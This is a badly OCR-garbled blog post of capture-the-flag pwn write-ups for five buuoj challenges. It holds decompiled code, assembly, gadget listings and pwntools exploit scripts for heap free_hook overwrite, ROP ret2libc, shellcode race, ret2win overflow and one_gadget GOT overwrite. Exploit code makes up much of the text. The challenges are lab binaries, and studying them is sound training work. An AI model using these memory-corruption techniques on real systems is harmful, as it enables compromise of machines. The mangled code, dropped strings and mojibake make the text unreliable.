buuoj Pwn writeup 276-280

yongbaoii F 2021-09-06 11:42:43 K Afi 63 Wi
SRLR: CTE WHEIR%: MZws

FEALFE B RSO R A&, #E5.CC 4.0 BY-SA RN, #5480 I b5 AL BERR A B 1
A CEERZ:  https://blog.csdn.net/yongbaoii/article/details/119793753

FRAL

CTFE LR E N A
213 W E 7T
TR
276 axb_2019 final_blindHeap

mE  RRRIREFE

axb_2019_final_blindHeap
99

Ubuntu 16

7oxXt, 817.

LSRR

BTN

T
5% T KiE.
BT R
explil T AR,

from pwn import
2ll commodity=1
just_one=2

context.log level

context.arch
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1ibc=ELF(

def Add_shopping cart(sh,product_descript_size,product_descript,product_name_size,product_name):
sh.recvuntil( )
sh.sendline(
sh.recvuntil(
sh.sendline( (product_descript_size))
sh.recvuntil(
sh.sendline(product_descript)
sh.recvuntil(
sh.sendline( (product_name_size))
sh.recvuntil(

sh.sendline(product_name)

def Modify_ product(sh,index,product_name,product_descript):
sh.recvuntil( )
sh.sendline(
sh.recvuntil(
sh.sendline( (index))
sh.recvuntil(
sh.sendline(product_name)
sh.recvuntil(
sh.sendline(product_descript)

Display product(sh,mode,index=null):
sh.recvuntil( )
sh.sendline(
sh.recvuntil(
sh.sendline( (mode))
if mode is just_one:

sh.recvuntil(

sh.sendline( (index))

Buy_shopping_cart(sh):
sh.recvuntil(
sh.sendline(

Delete_shopping cart(sh,mode, index=null):
sh.recvuntil( )
sh.sendline(
sh.recvuntil(
sh.sendline( (mode))
if mode is just_one:
sh.recvuntil(
sh.sendline( (index))

Change_name(sh,new_name) :

sh.recvuntil(
sh.sendline(
sh.recvuntil(
sh.sendline(new_name)

sh remote ( , 29041)
sh.recvuntil(
sh.send( ox18




C n, b)
Add_shopping_cart(sh,0x100,
Add_shopping cart(sh,0x100,
Add_shopping cart(sh,0x100,
Add_shopping cart(sh,0x100,

Delete shopping cart(sh,just one,1)
.recvuntil( )
.sendline(

.recvuntil(
.sendline(
.recvuntil( )
first _chunk_cart_addr=u64(sh.recvuntil(

).strip( ). 1just(8,

first chunk_name_addr
first chunk_desc_addr
leak_chunk_desc_addr
leak__chunk_name_addr
leak__chunk_cart_addr
ctrol chunk_desc_addr
ctrol _chunk_name_addr
ctrol_chunk_cart_addr
log.success(

log.success(

log.success(
log.success(
log.success(
log.success(
.success(
.success(

.success(

first_chunk_cart_addr
first_chunk_name_addr
first_chunk_cart_addr
leak__chunk_desc_addr
leak__chunk_name_addr
leak__chunk_cart_addr
ctrol_chunk_desc_addr

ctrol_chunk_name_addr

0x10
0x10
0x20
0x100
0x100
0x20
0x100 0x10
0x100 0x10
(first_chunk_name_addr)))
(first_chunk_desc_addr)))
(first_chunk_cart_addr)))
(leak__chunk_name_addr)))

ox10
0x150
0x10
0x10
0x10
0x10

(leak__chunk_desc_addr)))
(leak__chunk_cart_addr)))
(ctrol_chunk_name_addr)))
(ctrol_chunk_desc_addr)))
(ctrol_chunk_cart_addr)))

( ©x100
padding
p64(0x20)
payload p64(0x20)
Modify product(sh,@,
Change_name(sh,

(first_chunk_desc_addr
p64(0) + p64(0x30)
p64(leak__chunk_name_addr)
p64(ctrol_chunk_cart_addr)
,payload)
ox18 )
Display product(sh,all commodity)

OxFF) ) - 0x10

payload

sh.recvuntil( )
ub4(sh.recvuntil( )[-6:].1just(8, ))

¢ (main_arena_addr)))

main_arena_addr

0x3C4B78
libc.symbols|

main_arena_addr
libc_base
libc_base libc.symbols| ]
libc.search( ). @)
¢ (libc_base)))

(system_addr)))

libc_base

p64(0x20) p64(free_hook)

p64(0x20) p64(free_hook)
Display product(sh,all commodity)
Modify product(sh,@,p64(main_arena_addr),payload)
Display product(sh,all commodity)
Modify product(sh,2,p64(system_addr),p64(system_addr))
Delete_shopping cart(sh,just_one,3)
sh.interactive()
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setvbuf((FILE *)stdin, @, 2, 0);
setvbuf((FILE *)stdout, ©, 2, ©);
setvbuf((FILE *)stderr, @, 2, 0);
ve[e] = e;
vEe = 8;
puts("Welcome to the BPSEC gym\n");
while ( 2 )
{
puts("1. Check your bmi");
puts("2. Exercise");
puts("3. Register personal training");
puts(”4. Write daily record");
puts("5. Have some health menu");
puts("6. Out of the gym\n");
printf("Type the number:"); 7~/ &7
BERZ G B B —ASE

LDNORD *  fastcall write_diary(_DWORD *result, void *a2)

{
unsigned __int8 nbytes; // [sp+Fh]

i

h]

[w)
L=

read(®, a2, nbytes);
result = (_DWORD *)printf("you wrote %s\n", (const char *)a2);

}

return result;

Ihfeawrite_diary@ SR AT LLA AN .



FATH S — T IRAT R EOR A, IRAEE.

var_14= -0x14
var_10= -0x190

PUSH {R4,R11,LR} |
ADD R11, SP, #8

SUB SP, SP, #OxC

STR RO, [R11,#var_10]

STR R1, [R11,#var_14]

LDR R3, [R11,#var cddlyongtoi

R R B B #2545 —ANPUSH {R4, R11, LR},  thlh /& [E k.
e EIIRA, R4AZE—ANAREYE48%EE, RIMESZARIEEN, LRAEM 2 [m Hudk

SREAER, Bl RARIRE 4R — T .

RIFIEHKTIHRE-Oxe, Wt =S HHEE.

Ll e 5]

loc_109C4

NOP

SUB SP, R11l, #8

POP {R4,R11,PC}

; End of function exercise

CSDN @yongbaoi
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FATH i AR AE maineR E i — M

Var_l4= -gxils
var_8= -8

PUSH  {R11,LR}

ADD R11, SP, #4

SUB SP, SP, #08x50 |

LDR R3, =stdin__ GLIBC 2.4
LDR Re, [R3] ; stream

MOV R3, #0 DR @yongbacii

JrHrmaineR B I TT46
HEAR AL, HORARE RS
RIGHEY— T RS .
SR JE R TR £ ELF2-0x60 T A% .

TE S bR 8 FH fr gt

s =

loc_1123C

SUB R2, R11, #-var_54
SUB R3, R11, | -var_54
ADD R3, R3, #ox40 ; '@'
MOV R1, R2

MOV Re, R3

BL write_diary

B loc_11284

ZAERT1E LN F0x54, X0x54 B2t SR, it DAFRA T H A 5 5t B 3% 0x64 J T 2R [ ik s ay A T .

exp



from pwn import

remote( , 25194)

elf = ELF(
libc = ELF(

context.log level

def check(height, weight):
r.sendlineafter( )
r.sendlineafter( (height))
r.sendlineafter( (weight))

def PT(size):
r.sendlineafter(

r.sendlineafter(

def write_diray(payload):
r.sendlineafter( ,
r.send(payload)

def logout():
r.sendlineafter(

0x11bbc
elf.plt]
elf.got|
main_addr = elf.sym[

Ox54 + p32(pop_ro_ret) p32(puts_got) p32(puts_plt) p32(main_addr)* 2

)
libc.address u32(r.recvn(4)) libc.sym[

Ox54 + p32(pop_ro_ret) p32( (libc.search( ))) p32(libc.sym[
write diray(payload2)
logout ()

r.interactive()
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s

vl = 51;

puts("welcome to flappypig's note system!");
puts("enter @ to make a new note");
puts("enter 1 to get the total of notes");
puts("enter 2 to delete a note");
puts("enter 3 to exit");

make a new note.

__int64 sub_C43()

{
char v1; // [rsp+Bh] [rbp-125h]
int v2; // [rsp+Ch] [rbp-124h]
pthread_t newthread; // [rsp+18h] [rbp-128h] BYREF
char *v4; // [rsp+18h] [rbp-118h]
char s[264]; // [rsp+20h] [rbp-118h] BYREF
unsigned __int64 v6; // [rsp+128h] [rbp-8h]

v6 = _ _readfsqword(©x28u);
v2 = 258;

vd = s}

memset(s, ©, ©xleeuLLl);

puts("input your note, no more than 258 characters");

while ( v2 )
{
vl = getchar();
if (vi==18 || !'vi || vi == -112 )
{
vd = @LL;
break;
}
*yd++ = vl
--v2;
}
pthread_create(&newthread, OLL, start_routine, =);
return eLL;

}

— AR A B T 2R



void *__ fastcall start_routine(void *al)

{

void **v2; // rbx

off_202080 = (char *)off_202080 + 8;
if ( ++dword_2828BC <= 34 )
{
puts("logged successfully!");
v2 = (void **)off_202080;
*y2 = malloc(@x1@euLl);
memset(*(void **)off_202080, ©, @xleeuLl);
memcpy (*(void **)off_202080, =21, @xFAuLL);
}
else
{
puts(“too many notes!!");
off_202080 = (char *)off_202086 - 8;
}

return oLL;

CSDN @yongbaoi

show

int sub_D4C()

{
return printf("the total of notes is %1d\n", (unsigned int)dword_2626BC);




delete

void *__ fastcall sub_B86(void *al)
{
int v2; // [rsp+1Ch] [rbp-14h]
void **v3; // [rsp+28h] [rbp-16h]

v3 = (void **)off_202080;
off_202080 = (char *)off_202080 - 8;
v2 = dword_2820BC - 1;
usleep(@x1E8488u);
if ( dword_2828BC <= © )
{

puts("too less notes!!");

off_2082080 = (char *)off_202080 + B8;
}

else

{
free(*v3);
dword_20820BC = v2;
puts("delete successfully!");

}

return oLL;

R QI 2R, SRR AT B R AL

e Piilg, 202080 HL I HCE /£ 20200 ik .

T Lt /&
M2020c01E T —E Hiifchunk, fETE.

HS Il WS, PAI G B H B A AR BRI R TR, A0 FRAT 2 B A 5 S I )
AT Lhildelete— ik, Ik FIgot®, AAJAiEITaddkEfEgotiRE — N HEkhll, A6 Eshellcode.

{HI2 ) i liber2.23, i 4delete i 5 H i 2 free got#k, £xif4l.
HREATEBIGIRIR, X2 A, MISTERIRIEE, EfreefIB{E, T LaddTHITE T .



.got.plt:0000000000202018 of f 202018 dq offset fre
.got.plt:00000B0L00202028 off 202020 dq offset ptl
.got.plt:o0000
.got.plt:0000000000202028 off_ 202028 dgq offset pu
.got.plt:000000RR00202030 off 202030 dq offset
.got.plt:00000000002620306
.got.plt:0000000000202038 off_ 202038 dq offset pr
.got.plt:0000000000202040 off_ 202040 dgq offset mer
.got.plt:0000000000202048 off_ 202048 dgq offset ge’
.got.plt:0000000000202050 off_ 202050 dgq offset mer
.got.plt:0000000000202058 off_ 202058 dgq offset ma.
.got.plt:0000000000202060 off_ 202060 dgq offset se’
.got.plt:0000000000202068 off_ 202068 dgq offset us
.got.plt:0000000000202068 got plt ends
.got.plt:0000000000202068 CSDN @yonghao
.data:e00PP0PERR202070 @ =============================:
exp

from pwn import

context(os

def add(content):
r.sendlineafter(

r.sendlineafter(

def delete():
r.sendlineafter(

delete()
add(asm(shellcraft.cat(
while True:

global r

r remote(

exp()
s r.recv()

print s
if in s:
r.interactive()

r.close()
PR] g et (1] i) 8,
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{
int v5; // [rsp+3Ch] [rbp-4h] BYREF

__is0c99_scanf("%d", &v5);
if (vs > 32)

{
puts("preventing buffer overflow");
v5 = 32;
¥
my_fgets((__int64)v4, v5);
return @;
i HH AL
exp

from pwn import

r remote( , 28374)

win 0x4005F4
payload 0x38 p64(win)

r.sendline( )
r.sendline(payload)

r.interactive()

280 cscctf 2019 _qual_signal

int _ cdecl main(int argc, const char **argv, const char **envp)

char va4[44]; // [rsp+18h] [rbp-38h] BYREF

DARER G, R ARk

.nt __cdecl main(int argc, const char **argv, const char **en

" char buf[256]; // [rsp+16h] [rbp-1@6h] BYREF

init(argc, argv, envp);
read(@, buf, @x2@0ulLl);
return 9;

IR 73 B2 — N



Bt AR AOR — Ml H f 2

FEREMM T thErigadget.

ROPgadget --binary cscctf 2019 qual signal| grep ret grep
0x0000000000400618 add dword ptr [rbp - ©x3d], ebx ; nop dword ptr [rax + rax] ; ret

0x00000000004006dc mov eax, dword ptr [rbp - 0x108] ; leave ; ret
©Xx00000000004006db mov rax, qword ptr [rbp - 0x108] ; leave ; ret

AR —A, R EReEHrbp, H&EHIrbx, A TATH AT LM R — MES LS .

7Ekgadgettid 24 K IROPgadget A Ak Aresult i /7, #ifillrox A 7 csufy, FIROPgadgetta 2t #1524 .
uangwuang@wuangwuang-PC: ~/ d - i : 2 --depth 15 --only "pop|ret"

pop rl3

pop rl4

pop 115

ret

pop 112 ; poO 13 ; pop rl4 ; pop rl5 ; ret
pop 14 ; clls) 5 LEiE

ret

pop Ihp H r12 ; pop r13 ;[ pop rl4 ; pop 115 ; Tet
Iret

pop 115

pop 113 ; pop rl4 ; pop rils

t --binary ./ --only "pop|ret"

pop 113 0 ; pop ril5

pop 114 ; po ; Tet

pop rl5
pop rl15 ; ret

pop 11 0 ; pop r14 ; pop rl5 ; ret
pop Thp ; pop rl4 ; pt 5 =i
pop rbp ; ret

i ret
pop 115
pop 113 op r14 ; pop rils

yongbaoii

AR A AT ML .



SR JE A1 % one_gadgetf M R BRIA A KL K, BEINMSHL.

uangwuang@wuangwuang-PC:~/Des
px4f2c5 execve("/bin/ssh", 1s

== NULL
"/bin/sh™, 1 x4@, environ)

== NULL

== NULL
== NULL

== NULL || == NULL
== NULL || [rbp-@x7@] == NULL

'/bin/sh",

NULL || rl@ ==
1] == NULL || [7b 7@] == NULL

xecve("/bin/sh",

== NULL || r1@ NULL
== NULL || == NULL

ve("/bin/sh", T , environ)

[Tsp+@x7@] == NULL : Dyongbaoii

PRIONZER 2 508, i DA 2 &> O
i E—~0x10000000000000000 7] LA

[+] Opening connection to node4.buuoj.cn on port : Done

exp



from pwn import

remote( , 25006)

8
p64(0x40074a)

Oxe569f - 0x110070
(diff)
(diff & OXFFFFFFFFFFFFFFFF)
P64 (diff & OXFFFFFFFFFFFFFFFF)

p64(0x601020 ox3d)
8 4

p64(0x400618)

p64(0x400530)

r.interactive()
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